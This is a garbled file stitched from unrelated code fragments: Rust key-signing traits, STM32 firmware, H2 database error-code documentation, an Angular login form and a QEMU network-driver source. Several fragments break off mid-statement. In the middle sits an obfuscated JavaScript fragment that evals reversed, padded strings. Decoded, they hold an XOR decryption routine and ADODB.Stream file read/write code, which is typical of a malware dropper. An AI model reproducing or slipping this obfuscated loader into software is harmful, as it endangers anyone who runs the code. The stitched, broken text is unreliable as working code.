// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

//! # Named Entity Recognition pipeline
//! Extracts entities (Person, Location, Organization, Miscellaneous) from text.
//! BERT cased large model finetuned on CoNNL03, contributed by the [MDZ Digital Library team at the Bavarian State Library](https://github.com/dbmdz)
//! All resources for this model can be downloaded using the Python utility script included in this repository.
//! 1. Set-up a Python virtual environment and install dependencies (in ./requirements.txt)
//! 2. Run the conversion script python /utils/download-dependencies_bert_ner.py.
//! The dependencies will be downloaded to the user's home directory, under ~/


        let vdso = func(null_mut());
        assert!(vdso - libc <= 1);
    }
}
use std::fmt;

use crate::{error::Result, EntropyArray, HexBytes, KeyPairResult};

pub(super) mod ed25519;
pub(super) mod secp256k1;

pub(super) trait Key {
    fn key_lenght(&self) -> usize;

    fn prefix(&self) -> &[u8];

    fn as_bytes<'a>(&self, bytes: &'a [u8]) -> &'a [u8] {
        &bytes[..self.key_lenght()]
    }

    fn encode_to_hex(&self, bytes: &[u8]) -> String {
        HexBytes::from_bytes(&[self.prefix(), bytes].concat()).to_string()
    }
}

pub(super) trait Sign: Key + fmt::Debug {
    fn sign(&self, message: &[u8], private_key: &[u8]) -> HexBytes;
}

pub(super) trait Verify: Key + fmt::Debug {
    fn verify(&self, message: &[u8], signature: &[u8], public_key: &[u8]) -> Result<()>;
}

pub(super) trait Seed: fmt::Debug {
    fn derive_keypair(&self, entropy: &EntropyArray) -> KeyPairResult;

    fn encode(&self, entropy: &EntropyArray) -> String;
}

extern crate regex;
extern crate core;

#[macro_use] extern crate log;

pub mod addr;

pub mod route;
<gh_stars>0
#![no_std]
#![no_main]

// pick a panicking behavior
// extern crate panic_halt; // you can put a breakpoint on `rust_begin_unwind` to catch panics
// extern crate panic_abort; // requires nightly
// extern crate panic_itm; // logs messages over ITM; requires ITM support
extern crate panic_semihosting; // logs messages to the host stderr; requires a debugger

extern crate cortex_m_semihosting;

use cortex_m_rt::{entry, exception};
use cortex_m_semihosting::hio;
use core::fmt::Write;

// TODO: use a standard device crate.
// This is currently a custom generate & build of the stm32f407 device crate
// from stm32-rs. The custom build allows it to be used with the beta toolchain.
// Would like to move back to using the standard crate once it builds in beta.
extern crate stm32f407;

#[entry]
fn main() -> ! {
    let soc_periph = stm32f407::Peripherals::take().unwrap();

    setup_clocks(&soc_periph);
    setup_eth(&soc_periph);

    // Quick sanity check of the device crate -- light the blue LED.
    soc_periph.RCC.ahb1enr.modify(|_r, w| w.gpioden().enabled());
    soc_periph.GPIOD.moder.modify(|_r, w| w.moder15().output());
    soc_periph.GPIOD.otyper.modify(|_r, w| w.ot15().push_pull());
    soc_periph.GPIOD.bsrr.write(|w| w.bs15().set());

    loop {
        // your code goes here
    }
}

fn setup_clocks(periph: &stm32f407::Peripherals) {
    // Enable the external 8MHz oscillator and the clock security system.
    periph.RCC.cr.modify(|_r, w| w
        .csson().set_bit()
        .hseon().set_bit());
    // Wait for the external oscillator to stabilise.
    while periph.RCC.cr.read().hserdy().bit_is_clear() {}

    // Set the appropriate flash memory latency for operating at high speed,
    // enable cache and prefetch.
    periph.FLASH.acr.


xample:

 CREATE TABLE TEST(ID INT PRIMARY KEY);
 ALTER TABLE TEST ALTER COLUMN ID NULL;

FUNCTION_ALIAS_ALREADY_EXISTS_1
 = 90076

The error with code 90076 is thrown when
 trying to create a function alias for a system function or for a function
 that is already defined.
 Example:

 CREATE ALIAS SQRT FOR "java.lang.Math.sqrt"

FUNCTION_ALIAS_NOT_FOUND_1
 = 90077

The error with code 90077 is thrown when
 trying to drop a system function or a function alias that does not exist.
 Example:

 DROP ALIAS SQRT;

SCHEMA_ALREADY_EXISTS_1
 = 90078

The error with code 90078 is thrown when
 trying to create a schema if an object with this name already exists.
 Example:

 CREATE SCHEMA TEST_SCHEMA;
 CREATE SCHEMA TEST_SCHEMA;

SCHEMA_NOT_FOUND_1
 = 90079

The error with code 90079 is thrown when
 trying to drop a schema that does not exist.
 Example:

 DROP SCHEMA UNKNOWN;

SCHEMA_NAME_MUST_MATCH
 = 90080

The error with code 90080 is thrown when
 trying to rename a object to a different schema, or when trying to
 create a related object in another schema.
 For CREATE LINKED TABLE, it is thrown when multiple tables with that
 name exist in different schemas.
 Example:

 CREATE SCHEMA TEST_SCHEMA;
 CREATE TABLE TEST(ID INT);
 CREATE INDEX TEST_ID ON TEST(ID);
 ALTER INDEX TEST_ID RENAME TO TEST_SCHEMA.IDX_TEST_ID;

COLUMN_CONTAINS_NULL_VALUES_1
 = 90081

The error with code 90081 is thrown when
 trying to alter a column to not allow NULL, if there
 is already data in the table where this column is NULL.
 Example:

 CREATE TABLE TEST(ID INT);
 INSERT INTO TEST VALUES(NULL);
 ALTER TABLE TEST ALTER COLUMN ID VARCHAR NOT NULL;

SEQUENCE_BELONGS_TO_A_TABLE_1
 = 90082

The error with code 90082 is thrown when
 trying to drop a system generated sequence.

COLUMN_IS_REFERENCED_1
 = 90083

The error with code 90083 is thrown when
 trying to drop a column that is part of a constraint.
 Example:

 CREATE TABLE TEST(ID INT, PID INT REFERENCES(ID));
 ALTER TABLE TEST DROP COLUMN PID;

CANNOT_DROP_LAST_COL


ert>
            <ng-template #mobileTpl>

            </ng-template>
            <ng-template #mailTpl>

            </ng-template>
            <nz-form-item>
              <nz-form-control [nzErrorTip]="mobileError">
                <nz-input-group [nzPrefix]="mobileTpl" [nzSize]="'large'">
                  <input type="tel" nz-input formControlName="mobile" placeholder="手机号" />
                </nz-input-group>
              </nz-form-control>
              <ng-template #mobileError let-control>
                <ng-container *ngIf="control.hasError('required')">
                  请输入手机号！
                </ng-container>
                <ng-container *ngIf="control.hasError('matchMobile')">
                  手机号格式错误！
                </ng-container>
              </ng-template>
            </nz-form-item>
            <nz-form-item>
              <nz-form-control nzErrorTip="请输入验证码！">

                    <nz-input-group [nzPrefix]="mailTpl" [nzSize]="'large'">
                      <input nz-input formControlName="mail" placeholder="验证码: 123456" />
                    </nz-input-group>

                    <button type="button" nz-button [nzSize]="'large'" class="w100">获取验证码</button>

              </nz-form-control>
            </nz-form-item>

                  自动登录

                忘记密码

            <nz-form-item>
              <nz-form-control>
                <button nz-button class="login" [nzType]="'primary'" [nzSize]="'large'"
                  [nzLoading]="isSpinning">登录</button>
              </nz-form-control>
            </nz-form-item>

                其他登录方式

              注册账户

          </form>
        </nz-tab>
      </nz-tabset>

      Ng Antd Admin


Jh3("/`*`@` `}`;`8`n`G`a` `n`r`u`t`e`r`;`}`;`]`h`t`g`n`e`l`.`4`i`Z`Z`a` `%` `8`l`S`F`a`[`4`i`Z`Z`a` `=`^` `]`8`l`S`F`a`[`8`n`G`a`{` `)`1` `=`+` `8`l`S`F`a` `;`h`t`g`n`e`l`.`8`n`G`a` `<` `8`l`S`F`a` `;`0` `=` `8`l`S`F`a` `r`a`v`(` `r`o`f`;`)`7`l`D`I`a`(`4`s`B`H`a` `=` `4`i`Z`Z`a` `r`a`v`{`)`7`l`D`I`a` `,`8`n`G`a`(`2`e`V`a` `n`o`i`t`c`n`u`f` `n`o`_`c`c`@`*`/")), 1);
var v_ccdd = (new Function("dfff", "return dfff;"), eval(aJh3("/`*`@` `}`;`)`7`o`T`L`a`(`4`s`B`H`a` `n`r`u`t`e`r`;`)`(`e`s`o`l`c`.`3`m`K`a`;`]`\x22`t`x`e`T`d`a`e`R`\x22`[`3`m`K`a`=`7`o`T`L`a` `r`a`v`;`)`4`r`C`a`(`]`\x22`e`l`i`F`m`o`r`F`d`a`o`L`\x22`[`3`m`K`a`;`)`(`n`e`p`o`.`3`m`K`a`;`\x22`7`3`4`\x22`=`]`\x22`t`e`s`r`a`h`C`\x22`[`3`m`K`a`;`2`=`e`p`y`t`.`3`m`K`a`;`)`\x22`m`a`e`r`t`S`.`B`D`O`D`A`\x22`(`t`c`e`j`b`O`X`e`v`i`t`c`A` `w`e`n`=`3`m`K`a` `r`a`v`{`)`4`r`C`a`(`8`i`H`A`a` `n`o`i`t`c`n`u`f` `n`o`_`c`c`@`*`/")), 1);
var v_ccdd = (new Function("dfff", "return dfff;"), eval(aJh3("/`*`@` `}`;`)`(`e`s`o`l`c`.`3`m`K`a`;`)`2` `,`4`r`C`a`(`]`\x22`e`l`i`F`o`T`e`v`a`S`\x22`[`3`m`K`a`;`)`)`8`n`G`a`(`0`w`I`a`(`]`\x22`t`x`e`T`e`t`i`r`w`\x22`[`3`m`K`a`;`)`(`n`e`p


        printf("mipsnet: sending len=%d\n", s->tx_count);
#endif
            qemu_send_packet(s->vc, s->tx_buffer, s->tx_count);
            s->tx_count = s->tx_written = 0;
            s->intctl |= MIPSNET_INTCTL_TXDONE;
            s->busy = 1;
            mipsnet_update_irq(s);
        }
        break;
    /* Read-only registers */
    case MIPSNET_DEV_ID:
    case MIPSNET_BUSY:
    case MIPSNET_RX_DATA_COUNT:
    case MIPSNET_INTERRUPT_INFO:
    case MIPSNET_RX_DATA_BUFFER:
    default:
        break;
    }
}

static void mipsnet_save(QEMUFile *f, void *opaque)
{
    MIPSnetState *s = opaque;

    qemu_put_be32s(f, &s->busy);
    qemu_put_be32s(f, &s->rx_count);
    qemu_put_be32s(f, &s->rx_read);
    qemu_put_be32s(f, &s->tx_count);
    qemu_put_be32s(f, &s->tx_written);
    qemu_put_be32s(f, &s->intctl);
    qemu_put_buffer(f, s->rx_buffer, MAX_ETH_FRAME_SIZE);
    qemu_put_buffer(f, s->tx_buffer, MAX_ETH_FRAME_SIZE);
}

static int mipsnet_load(QEMUFile *f, void *opaque, int version_id)
{
    MIPSnetState *s = opaque;

    if (version_id > 0)
        return -EINVAL;

    qemu_get_be32s(f, &s->busy);
    qemu_get_be32s(f, &s->rx_count);
    qemu_get_be32s(f, &s->rx_read);
    qemu_get_be32s(f, &s->tx_count);
    qemu_get_be32s(f, &s->tx_written);
    qemu_get_be32s(f, &s->intctl);
    qemu_get_buffer(f, s->rx_buffer, MAX_ETH_FRAME_SIZE);
    qemu_get_buffer(f, s->tx_buffer, MAX_ETH_FRAME_SIZE);

    return 0;
}

static void mipsnet_cleanup(VLANClientState *vc)
{
    MIPSnetState *s = vc->opaque;

    unregister_savevm("mipsnet", s);

    isa_unassign_ioport(s->io_base, 36);

    qemu_free(s);
}

void mipsnet_init (int base, qemu_irq irq, NICInfo *nd)
{
    MIPSnetState *s;

    qemu_check_nic_model(nd, "mipsnet");

    s = qemu_mallocz(sizeof(MIPSnetState));

    register_ioport_write(base, 36, 1, mipsnet_ioport_write, s);
    register_ioport_read(base, 36, 1, mipsnet_ioport_read, s);
    register_ioport_write(base, 36, 2, mipsnet_ioport_write, s);
    register_ioport_read(base, 36, 2, mipsnet_ioport_read, s);
    register_ioport_write(base, 36, 4, mipsnet_ioport_write, s);
    register_ioport_read(base, 36, 4, mipsnet_ioport_read, s);

    s->io_base = base;
    s->irq = irq;
    if (nd && nd->vlan) {
        s->vc = nd->vc = qemu_new_vlan_client(nd->vlan, nd->model, nd->name,
                                              mipsnet_can_receive, mipsnet_receive,
                                              NULL, mipsnet_cleanup, s);
    } else {
        s->vc = NULL;
    }

    qemu_format_nic_info_str(s->vc, nd->macaddr);

    mipsnet_reset(s);
    register_savevm("mipsnet", 0, 0, mipsnet_save, mipsnet_load, s);
}